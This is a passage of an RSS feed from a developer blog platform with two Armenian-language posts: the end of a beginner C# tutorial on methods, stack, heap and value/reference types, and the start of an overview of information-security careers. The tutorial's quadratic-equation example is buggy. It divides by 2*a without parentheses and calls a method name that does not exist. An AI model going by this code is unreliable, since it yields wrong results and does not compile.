&lt;span class="nf"&gt;SendMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="c1"&gt;// մեթոդը չի վերադարձնում արժեք, հետևաբար, ոչնչի վերագրվել չի կարող&lt;/span&gt;
&lt;span class="c1"&gt;// սակայն այն կարելի է ուղղակի կանչել, առանց վերագրման&lt;/span&gt;

&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;SendMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// այս կոդը չի կոմպիլացվի&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;C# ծրագրերի մեջ գոյություն ունի հատուկ մեթոդ՝ &lt;code&gt;Main()&lt;/code&gt;֊ը։ Վերջինս հանդիսանում է ծրագրի մուտքային կետ (&lt;em&gt;entry point&lt;/em&gt;), այսինքն՝ ցանկացած ծրագրի կատարում սկսվում է հենց այս մեթոդի կանչից։ Ըստ այդմ, ձեր ծրագրերի ամբողջ տրամաբանությունը պետք (օրինակ՝ այլ մեթոդների կանչերը) է կենտրոնացված լինի հենց &lt;code&gt;Main()&lt;/code&gt;֊ի շուրջ։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Դիտարկենք օրինակ՝ փորձենք ստեղծել ծրագիր, որը տրված a, b և c գործակիցների համար կլուծի ax^2 + bx + c = 0 տեսքի քառակուսային հավասարումը։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="nn"&gt;System&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;QuadraticSolver&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nf"&gt;SolveQuadraticEquation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="nf"&gt;FindDiscriminant&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;   

    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SolveEquation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;D&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;FindDiscriminant&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Math.Sqrt() մեթոդն օգտագործվում է քառակուսի արմատի հաշվարկման համար&lt;/span&gt;
            &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="c1"&gt;// Էկրանին արտածել երկու լուծումները&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="c1"&gt;// Էկրանին արտածել լուծումը&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Հավասարումը լուծում չունի"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Փորձենք պատկերացնել տվյալ ծրագրի ընթացքը&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Առաջին հերթին CLR հարթակի կողմից կանչվում է &lt;code&gt;Main()&lt;/code&gt; մեթոդը (ինչը նշանակում է որ ձեր ծրագիրը գործարկվել է),&lt;/li&gt;
&lt;li&gt;այնուհետև կանչվում է &lt;code&gt;SolveEquation()&lt;/code&gt;-ը, &lt;/li&gt;
&lt;li&gt;որն իր հերթին կանչում է &lt;code&gt;FindDiscriminant()&lt;/code&gt;-ը։&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Ամեն անգամ, երբ կանչվում է նոր մեթոդ, նախորդի ընթացքը սառեցվում է՝ սպասելով նոր կանչվածի վերադարձված (&lt;em&gt;return&lt;/em&gt;) արժեքին։ &lt;/p&gt;

&lt;p&gt;Պատկերացնենք այս ամենը տեսողական կերպով՝ մեթոդը կարելի է պատկերել որպես մեկ աղյուս, նոր մեթոդ կանչել նշանակում է նոր աղյուս դնել նախորդի վրա, իսկ մեթոդի ավարտը՝ այդ աղյուսի հեռացում։ Այսպիսով, մենք չենք կարող հեռացնել որևէ աղյուս, քանի դեռ դրա վերևում գտնվող բոլոր աղյուսները հեռացված չեն (այսինքն, քանի դեռ բոլոր հետագա կանչված մեթոդները չեն ավարտվել, ներկա մեթոդը չի կարող ավարտվել)։&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GQGQQdhi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/j1jzrqb2hp8r27arzzag.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GQGQQdhi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/j1jzrqb2hp8r27arzzag.PNG" alt="Մեթոդների stack" width="697" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Այս փոխհարաբերությունն ինֆորմատիկայում ներկայացվում է որպես տվյալների կառուցվածք (&lt;em&gt;data structure&lt;/em&gt;), որը կոչվում է &lt;em&gt;stack&lt;/em&gt;։ Վերջինս ըստ էության արգելում է աշխատանքը միջանկյալ տարրերի հետ, քանի դեռ դրանց վերևում կա այլ տարր, փաստացի միակ հասանելի գործողություններն են վերին տարրի հեռացումն ու վերևում նոր տարրի տեղադրումը։&lt;/p&gt;

&lt;h3&gt;
  
  
  Stack և Heap
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Ի՞նչ է stack֊ը
&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;Stack&lt;/em&gt;-ին ինֆորմատիկայում հատկացվում է բավականին մեծ կարևորություն։&lt;br&gt;
Դրանով լուծվում է ծրագրավորման կարևոր խնդիր՝ մեթոդների ընթացքի և դրանց տեղական փոփոխականների (&lt;em&gt;local variable&lt;/em&gt;) կառավարում։ &lt;/p&gt;

&lt;p&gt;CLR—ի կողմից մեր ծրարգի գործարկման ընթացքում, հիշողության մեջ հատկացվում է հատուկ  գոտի, որը կոչվում է &lt;strong&gt;կանչերի stack&lt;/strong&gt; (&lt;em&gt;call stack&lt;/em&gt;)։ Ամեն անգամ, երբ կանչվում է նոր մեթոդ, դրա համար կանչերի stack-ում առանձնացվում է հատված, որը կոչվում է տվյալ մեթոդի &lt;strong&gt;շրջանակ&lt;/strong&gt; (&lt;em&gt;stack frame&lt;/em&gt;)։ Վերջինս իր մեջ պարունակում է՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;օբյեկտի հղումը, որում կանչվել է մեթոդը (թե ինչ է հղումը, կիմանանք շուտով)&lt;/li&gt;
&lt;li&gt;կանչված մեթոդին տրված պարամետրերը,&lt;/li&gt;
&lt;li&gt;մեթոդում հայտարարված տեղական փոփոխականները:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ինչպես պարզ է դառնում, մեթոդի ավարտից հետո կանչերի stack֊ից հեռացվում է վերին շրջանակը, մեթոդի վերադարձված արժեքը փոխանցվում է նախորդին, իսկ տեղական փոփոխականներն ու պարամետրերը՝ ջնջվում։&lt;/p&gt;

&lt;p&gt;Իսկ ի՞նչ անել եթե ցանկանում ենք հիշողության մեջ պահել "երկարակյաց" տվյալներ, որոնց պահպանումը կախված չէ որևէ մեթոդից։&lt;/p&gt;
&lt;h4&gt;
  
  
  Ի՞նչ է heap֊ը
&lt;/h4&gt;

&lt;p&gt;Heap֊ը կարելի է պատկերացնել որպես զամբյուղ, որում իրերը կարելի է տեղավորել պատահական հերթականությամբ, քանի դեր զամբյուղի տարողունակությունը դա թույլ է տալիս։&lt;/p&gt;

&lt;p&gt;Որոշ դեպքերում heap֊ում տվյալներ պահպանելիս առաջանում է խնդիր՝ տվյալը գտնվում է հիշողության մեջ, սակայն այն այլևս չի օգտագործվում։ Այս դեպքերի համար .NET հարթակում գործում է ավտոմատ "աղբահավաք" համակարգ (&lt;em&gt;garbage collection&lt;/em&gt;), որն ինքնուրույն հայտնաբերում է չօգտագործված փոփոխականներն ու ջնջում դրանք հիշողությունից։&lt;/p&gt;
&lt;h3&gt;
  
  
  Արժեքային և հղումային տիպեր
&lt;/h3&gt;

&lt;p&gt;Այժմ, քանի որ արդեն ծանոթ ենք C#֊ում հիշողության օգտագործման հնարավոր ձևերի մասին, տեսնենք թե որ տիպի փոփոխականներն ինչպես են դա անում։&lt;br&gt;
Ըստ հիշողության մեջ պահպանման եղանակի, տիպերը C#-ում բաժանվում են երկու տեսակի՝ &lt;strong&gt;արժեքային տիպեր&lt;/strong&gt; (&lt;em&gt;value type&lt;/em&gt;) և &lt;strong&gt;հղումային տիպեր&lt;/strong&gt; (&lt;em&gt;reference types&lt;/em&gt;)։&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Արժեքային տիպերի&lt;/em&gt; փոփոխականները տվյալները պահում են անմիջապես իրենց մեջ։ Մեզ արդեն ծանոթ պարզագույն տիպերը՝ ամբողջ թվեր (&lt;code&gt;int&lt;/code&gt; &lt;code&gt;short&lt;/code&gt;, &lt;code&gt;long&lt;/code&gt; և այլն), կոտորակային թվեր (&lt;code&gt;float&lt;/code&gt;, &lt;code&gt;double&lt;/code&gt;, &lt;code&gt;decimal&lt;/code&gt;) և նիշեր (&lt;code&gt;char&lt;/code&gt;), պատկանում են արժեքային տիպերի կատեգորիային։ &lt;/p&gt;

&lt;p&gt;&lt;em&gt;Հղումային տիպերի&lt;/em&gt; օբյեկտ ստեղծելիս, այն տեղադրվում է &lt;em&gt;heap&lt;/em&gt;֊ում, և փոփոխականում պահվում է դրա պահպանման հասցեն։ Մեզ հայտնի տիպերից հղումային դասին է պատկանում &lt;code&gt;string&lt;/code&gt;֊ը։&lt;/p&gt;

&lt;p&gt;Դիտարկենք օրինակ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numInt&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;numStr&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"13"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այժմ մանրամասնենք թե ինչ է կատարվում համակարգչի հիշողության մեջ։ &lt;br&gt;
Ինչպես արդեն նշեցի՝ ցանկացած մեթոդի համար &lt;strong&gt;կանչերի stack&lt;/strong&gt;֊ում առանձնացվում է շրջանակ (&lt;em&gt;stack frame&lt;/em&gt;), որում պահվում են տեղական փոփոխականները։ Քանի որ առաջին փոփոխականն արժեքային տիպի ներկայացուցիչ է, &lt;code&gt;13&lt;/code&gt; արժեքն անմիջապես պահվում է &lt;code&gt;numInt&lt;/code&gt; փոփոխականի մեջ, մինչդեռ երկրորդ փոփոխականի տիպը հղումային է, ինչը նշանակում է որ &lt;em&gt;heap&lt;/em&gt;-ում ստեղծվում է &lt;code&gt;string&lt;/code&gt; տիպի օբյեկտ՝ &lt;code&gt;"13"&lt;/code&gt; արժեքով, որի հասցեն էլ պահպանվում է &lt;code&gt;numStr&lt;/code&gt; փոփոխականում։&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Wg2dv1M_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/9ue3l2bl0agiadgmbasp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Wg2dv1M_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/9ue3l2bl0agiadgmbasp.png" alt="Հիշողության երկու գոտիներ" width="492" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Հաջորդ գրառման մեջ կսովորենք ստեղծել մեր սեփական տիպերը &lt;code&gt;class&lt;/code&gt;֊երի և &lt;code&gt;struct&lt;/code&gt;֊երի միջոով։&lt;/p&gt;

&lt;h3&gt;
  
  
  Ամփոփում։
&lt;/h3&gt;

&lt;p&gt;Այս գրառման մեջ ծանոթացանք՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;մեթոդներին,&lt;/li&gt;
&lt;li&gt;stack֊ին և heap֊ին,&lt;/li&gt;
&lt;li&gt;արժեքային (&lt;em&gt;value&lt;/em&gt;) և հղումային (&lt;em&gt;reference&lt;/em&gt;) տիպերին։&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>csharp</category>
      <category>dotnet</category>
      <category>beginners</category>
      <category>armenian</category>
    </item>
    <item>
      <title>Բացահայտում ենք Տեղեկատվական Անվտանգության ոլորտը</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Mon, 23 Mar 2020 18:18:13 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/-3eih</link>
      <guid>https://forem.com/narek_babajanyan/-3eih</guid>
      <description>&lt;h3&gt;
  
  
  Ի՞նչ է Տեղեկատվական Անվտանգությունը
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Տեղեկատվական անվտանգություն&lt;/strong&gt; (&lt;em&gt;information security&lt;/em&gt;, նաև կոչվում է կիբերանվտանգություն՝ &lt;em&gt;cybersecurity&lt;/em&gt;) է կոչվում միջոցների ու գործընթացների համախումբը, որը նպատակաուղղված է պաշտպանելու գաղտնի տեղեկատվությունը չնախատեսված օգտագործումից, բացահայտումից, փոփոխությունից կամ ոչնչացումից։&lt;/p&gt;

&lt;h3&gt;
  
  
  ՏԱ Մասնագիտացումներ
&lt;/h3&gt;

&lt;p&gt;Ընդհանուր առմամբ, տեղեկատվական անվտանգության ոլորտը բաժանվում է երկու պայմանական ճամբարների՝ &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;կապույտ թիմ (&lt;em&gt;blue team&lt;/em&gt;) - պաշտպանվող կողմ՝ ձեռնարկում է ՏԱ միջոցներ և կատարում անհրաժեշտ գործընթացներ,&lt;/li&gt;
&lt;li&gt;կարմիր թիմ (&lt;em&gt;red team&lt;/em&gt;) - հարձակվող կողմ՝ կազմակերպության թույլտվությամբ իրականացնում է հետախուզություն և հարձակումներ դրա տեղեկատվական համակարգերի վրա՝ փորձելով պարզել բոլոր հնարավոր խոցելի հատվածները և դրանով իսկ սատարել կապույտ թմի առավել արդյունավետ աշխատանքին։&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Լինելով բավականին լայն ոլորտ՝ Տեղեկատվական անվտանգությունն ունի ենթաոլորտներ, որոնցով հնարավոր է մասնագիտանալ։ Դրանցից մի քանիսն են` &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ցանցային անվտանգություն&lt;/strong&gt; (&lt;em&gt;network security&lt;/em&gt;)՝ ցանցի հասանելիության և անվտանգության ապահովում ծրագրային գործիքների և սարքավորումների միջոցով։ Հաճախ համատեղվում է ցանցային ադմինիստրացիայի հետ,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ծրագրային անվտանգություն&lt;/strong&gt; (&lt;em&gt;application security&lt;/em&gt;)՝ անվտանգ վեբ, համակարգչային և բջջային ծրագրերի մշակում և պաշտպանություն հնարավոր խոցելիությունից (&lt;em&gt;vulnerability&lt;/em&gt;), որի հայտնաբերման գործընթացը կոչվում է &lt;strong&gt;ներթափանցման փորձարկում&lt;/strong&gt; (&lt;em&gt;penetration testing&lt;/em&gt;),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Թվային քրեագիտություն&lt;/strong&gt; (&lt;em&gt;digital forensics&lt;/em&gt;) և &lt;strong&gt;արտակարգ պատահարների աջակցություն&lt;/strong&gt; (&lt;em&gt;incident response&lt;/em&gt;)՝ այս ոլորտները հաճախ միասին անվանվում են DFIR և ենթադրում են արդեն իսկ կատարված հարձակման հետևանքների ճշտում, հնարավոր կորուստների վերականգնում և հետագայում նմանատիպ հարձակումներից պաշտպանվելու միջոցների ձեռնարկում,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Աուդիտ&lt;/strong&gt; (&lt;em&gt;security audit&lt;/em&gt;)՝ ընկերության ՏԱ միջոցների՝ անհրաժեշտ չափանիշների համապատասխանության ստուգում,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ծածկագիտություն&lt;/strong&gt; (&lt;em&gt;cryptography&lt;/em&gt;)՝ տեղեկատվության գաղտնագրման (&lt;em&gt;encryption&lt;/em&gt;) ալգորիթմերի մշակում կամ հակառակը՝ հակառակորդի գաղտնագրման ալգորիթմերի շրջանցում և թաքնված տվյալների բացահայտում,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Սպառնալիքների հետազոտում&lt;/strong&gt; (&lt;em&gt;threat intelligence research&lt;/em&gt;)՝ ռազմավարական մակարդակի հնարավոր ռիսկերի մոդելավորում և ռիսկային դերակատարների ճշգրտում, հաճախ կենտրոնանում է օտարերկրյա պետությունների հովանու տակ գործող երկարաժամկետ սպառնալիք (&lt;em&gt;APT - Advanced Persistent Threat&lt;/em&gt;) հանդիսացող խմբավորումների վրա,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Արդյունաբերական համակարգերի անվտանգություն&lt;/strong&gt; (&lt;em&gt;industrial control systems (ICS) security&lt;/em&gt;)՝ ցանցային կառավարմամբ օժտված արտադրական և էներգետիկ համակարգերի անվտանգության ապահովում։ &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Վնասատու ծրագրերի վերլուծություն&lt;/strong&gt; (&lt;em&gt;malware analysis&lt;/em&gt;)՝ համակարգչային վիրուսների մանրակրկիտ հետազոտում, դրանց հայտնաբերման և չեզոքացման նոր մեթոդների մշակում,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Կառավարում&lt;/strong&gt; (&lt;em&gt;management&lt;/em&gt;)՝ ընկերության ՏԱ գործընթացների և կադրերի ղեկավարում, որոշ մեծ ընկերություններում այս նպատակով հատկացվում է ՏԱ գծով տնօրենի (Chief Information Security Officer) պաշտոն։&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Արդյո՞ք ՏԱ մասնագիտության համար անհրաժեշտ է ծրագրավորման իմացություն
&lt;/h3&gt;

&lt;p&gt;Տվյալ հարցի պատասխանը կախված է ՏԱ կոնկրետ ճյուղից։ Օրինակ՝ ծրագրային անվտանգությունը (&lt;em&gt;application security&lt;/em&gt;) ենթադրում է խոցելիությունից զուրկ ծրագրերի մշակում, ըստ այդմ կենտրոնացված է ծրագրավորման շուրջ և պահանջում է վերջինիս իմացություն։ Մյուս կողմից, ներթափանցման փորձարկման (&lt;em&gt;penetration testing&lt;/em&gt;) որոշ մասնագետներ զբաղվում են այս ոլորտով առանց ծրագրավորման խորը գիտելիքների։ &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Գոյություն ունեն ֆրիլանս հարթակներ, որոնք կենտրոնանում են ներթափանցման փորձարկման մասնագետների հետ աշխատանքի վրա։ Այդպիսիք են &lt;a href="https://www.hackerone.com/"&gt;HackerOne-ը&lt;/a&gt; և &lt;a href="https://www.bugcrowd.com/"&gt;BugCrowd-ը&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Տեղեկատվական անվտանգության մասնագետներն օգտագործում են թե՛ անվճար, թե՛ վճարովի պատրաստի ծրագրային գործիքների համար, սակայն շատ դեպքերում անհրաժեշտ է լինում մշակել սեփական գործիքները՝ հարմարության, ինչպես նաև գտնված խոցելիության ցուցադրության համար։ Այժմ նաև շեշտ է դրվում շատ գործընթացների և գործիքների ավտոմատցման վրա, որի կազմակերպման համար ցանկալի է ծրագրավորման լեզվի (հաճախ՝ Python-ի) իմացություն։&lt;/p&gt;

&lt;h3&gt;
  
  
  ՏԱ ոլորտի որակավորում
&lt;/h3&gt;

&lt;p&gt;Քանի որ համալսարանական կրթական համակարգերը դեռևս չեն բավարարում ոլորտի կադրային պահանջարկը, այստեղ գործում է որակավորման բազմակողմանի համակարգ։ Հավաստագրերը ՏԱ ոլորտում բաժանվում են երկու տեսակի՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Որևէ կոնկրետ արտադրողի կողմից տրված հավաստագրեր (&lt;em&gt;vendor-specific&lt;/em&gt;), որոնք փաստում են տվյալ ընկերության ապրանքանիշի տեխնիկական իմացություն&lt;/li&gt;
